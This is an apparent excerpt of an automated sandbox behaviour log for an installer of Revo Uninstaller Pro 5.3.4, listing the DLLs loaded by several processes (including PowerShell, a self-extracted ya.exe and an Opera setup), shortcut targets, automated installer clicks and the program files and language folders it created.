Source: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\ruplp.exe	Section loaded: winrnr.dll
Source: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\ruplp.exe	Section loaded: fwpuclnt.dll
Source: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\ruplp.exe	Section loaded: rasadhlp.dll
Source: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\ruplp.exe	Section loaded: amsi.dll
Source: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\ruplp.exe	Section loaded: userenv.dll
Source: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\ruplp.exe	Section loaded: profapi.dll
Source: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\ruplp.exe	Section loaded: napinsp.dll
Source: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\ruplp.exe	Section loaded: pnrpnsp.dll
Source: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\ruplp.exe	Section loaded: wshbth.dll
Source: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\ruplp.exe	Section loaded: nlaapi.dll
Source: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\ruplp.exe	Section loaded: winrnr.dll
Source: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\ruplp.exe	Section loaded: fwpuclnt.dll
Source: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\ruplp.exe	Section loaded: sspicli.dll
Source: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\ruplp.exe	Section loaded: cryptsp.dll
Source: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\ruplp.exe	Section loaded: rsaenh.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appresolver.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcp47langs.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: slc.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sppc.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: linkinfo.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntshrui.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cscapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: policymanager.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntmarta.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appresolver.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcp47langs.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: slc.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sppc.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: linkinfo.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntshrui.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cscapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: policymanager.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntmarta.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\ya.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\ya.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\ya.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\ya.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\ya.exe	Section loaded: dwmapi.dll
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\ya.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\ya.exe	Section loaded: oleacc.dll
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\ya.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\ya.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\ya.exe	Section loaded: shfolder.dll
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\ya.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\ya.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\ya.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\ya.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\ya.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\ya.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\ya.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\ya.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\ya.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\ya.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\ya.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\ya.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\ya.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\ya.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\ya.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\ya.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\ya.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\ya.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\ya.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\ya.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\ya.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\ya.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\ya.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\ya.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\ya.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\ya.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\ya.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\ya.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\Downloads\OperaSetup.exe	Section loaded: apphelp.dll
Source: C:\Users\user\Downloads\OperaSetup.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\7zSCAE7B8AA\setup.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\7zSCAE7B8AA\setup.exe	Section loaded: acgenral.dll
Source: C:\Users\user\AppData\Local\Temp\7zSCAE7B8AA\setup.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\7zSCAE7B8AA\setup.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\7zSCAE7B8AA\setup.exe	Section loaded: samcli.dll
Source: C:\Users\user\AppData\Local\Temp\7zSCAE7B8AA\setup.exe	Section loaded: msacm32.dll
Source: C:\Users\user\AppData\Local\Temp\7zSCAE7B8AA\setup.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\7zSCAE7B8AA\setup.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\7zSCAE7B8AA\setup.exe	Section loaded: dwmapi.dll
Source: C:\Users\user\AppData\Local\Temp\7zSCAE7B8AA\setup.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\7zSCAE7B8AA\setup.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\7zSCAE7B8AA\setup.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\7zSCAE7B8AA\setup.exe	Section loaded: winmmbase.dll
Source: C:\Users\user\AppData\Local\Temp\7zSCAE7B8AA\setup.exe	Section loaded: winmmbase.dll
Source: C:\Users\user\AppData\Local\Temp\7zSCAE7B8AA\setup.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\7zSCAE7B8AA\setup.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\7zSCAE7B8AA\setup.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\7zSCAE7B8AA\setup.exe	Section loaded: msimg32.dll
Source: C:\Users\user\AppData\Local\Temp\7zSCAE7B8AA\setup.exe	Section loaded: secur32.dll
Source: C:\Users\user\AppData\Local\Temp\7zSCAE7B8AA\setup.exe	Section loaded: dbghelp.dll
Source: C:\Users\user\AppData\Local\Temp\7zSCAE7B8AA\setup.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\7zSCAE7B8AA\setup.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\7zSCAE7B8AA\setup.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\7zSCAE7B8AA\setup.exe	Section loaded: dbgcore.dll
Source: C:\Users\user\AppData\Local\Temp\7zSCAE7B8AA\setup.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\7zSCAE7B8AA\setup.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\7zSCAE7B8AA\setup.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\AppData\Local\Temp\7zSCAE7B8AA\setup.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\7zSCAE7B8AA\setup.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\7zSCAE7B8AA\setup.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\7zSCAE7B8AA\setup.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\7zSCAE7B8AA\setup.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\7zSCAE7B8AA\setup.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\7zSCAE7B8AA\setup.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\7zSCAE7B8AA\setup.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\7zSCAE7B8AA\setup.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\7zSCAE7B8AA\setup.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\7zSCAE7B8AA\setup.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\7zSCAE7B8AA\setup.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\7zSCAE7B8AA\setup.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\7zSCAE7B8AA\setup.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\7zSCAE7B8AA\setup.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\7zSCAE7B8AA\setup.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\7zSCAE7B8AA\setup.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\7zSCAE7B8AA\setup.exe	Section loaded: gpapi.dll

Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f486a52-3cb1-48fd-8f50-b8dc300d9f9d}\InProcServer32

Jump to behavior

Source: Revo Uninstaller Pro.lnk.0.dr	LNK file: ..\..\..\Program Files\VS Revo Group\Revo Uninstaller Pro\RevoUninPro.exe
Source: Revo Uninstaller Pro.lnk0.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\VS Revo Group\Revo Uninstaller Pro\RevoUninPro.exe
Source: Uninstall Revo Uninstaller Pro.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\VS Revo Group\Revo Uninstaller Pro\Uninstall.exe

Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe

File written: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\lang\czech.ini

Jump to behavior

Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe	Automated click: Next >
Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe	Automated click: Next >
Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe	Automated click: Install

Source: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\RevoUninPro.exe

File opened: C:\Windows\SYSTEM32\RICHED32.DLL

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe	Directory created: C:\Program Files\VS Revo Group	Jump to behavior
Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe	Directory created: C:\Program Files\VS Revo Group\Revo Uninstaller Pro	Jump to behavior
Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe	Directory created: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\RUExt.dll	Jump to behavior
Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe	Directory created: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\RevoAppBar.exe	Jump to behavior
Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe	Directory created: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\RevoCmd.exe	Jump to behavior
Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe	Directory created: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\RevoUnPro.exe	Jump to behavior
Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe	Directory created: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\revoflt.inf	Jump to behavior
Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe	Directory created: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\revoflt.sys	Jump to behavior
Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe	Directory created: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\Vista	Jump to behavior
Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe	Directory created: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\Vista\revoflt.inf	Jump to behavior
Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe	Directory created: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\Vista\revoflt.sys	Jump to behavior
Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe	Directory created: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\Win10	Jump to behavior
Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe	Directory created: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\Win10\revoflt.inf	Jump to behavior
Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe	Directory created: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\Win10\revoflt.sys	Jump to behavior
Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe	Directory created: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\License.txt	Jump to behavior
Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe	Directory created: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\Revo Uninstaller Pro Help.pdf	Jump to behavior
Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe	Directory created: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\RevoUninPro.exe	Jump to behavior
Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe	Directory created: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\reg_lp.bat	Jump to behavior
Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe	Directory created: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\rupilogs.rupldb	Jump to behavior
Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe	Directory created: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\ruplp.exe	Jump to behavior
Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe	Directory created: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\lang	Jump to behavior
Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe	Directory created: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\lang\Estonian.ini	Jump to behavior
Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe	Directory created: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\lang\albanian.ini	Jump to behavior
Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe	Directory created: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\lang\arabic.ini	Jump to behavior
Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe	Directory created: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\lang\armenian.ini	Jump to behavior
Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe	Directory created: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\lang\azerbaijani.ini	Jump to behavior
Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe	Directory created: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\lang\bengali.ini	Jump to behavior
Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe	Directory created: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\lang\bulgarian.ini	Jump to behavior
Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe	Directory created: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\lang\czech.ini	Jump to behavior
Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe	Directory created: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\lang\danish.ini	Jump to behavior
Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe	Directory created: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\lang\dutch.ini	Jump to behavior
Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe	Directory created: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\lang\english.ini	Jump to behavior
Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe	Directory created: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\lang\finnish.ini	Jump to behavior
Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe	Directory created: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\lang\french.ini	Jump to behavior
Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe	Directory created: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\lang\german.ini	Jump to behavior
Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe	Directory created: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\lang\gujarati.ini	Jump to behavior
Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe	Directory created: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\lang\hebrew.ini	Jump to behavior
Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe	Directory created: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\lang\hellenic.ini	Jump to behavior
Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe	Directory created: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\lang\hindi.ini	Jump to behavior
Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe	Directory created: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\lang\hrvatski.ini	Jump to behavior
Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe	Directory created: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\lang\hungarian.ini	Jump to behavior
Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe	Directory created: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\lang\indonesian.ini	Jump to behavior
Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe	Directory created: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\lang\italiano.ini	Jump to behavior
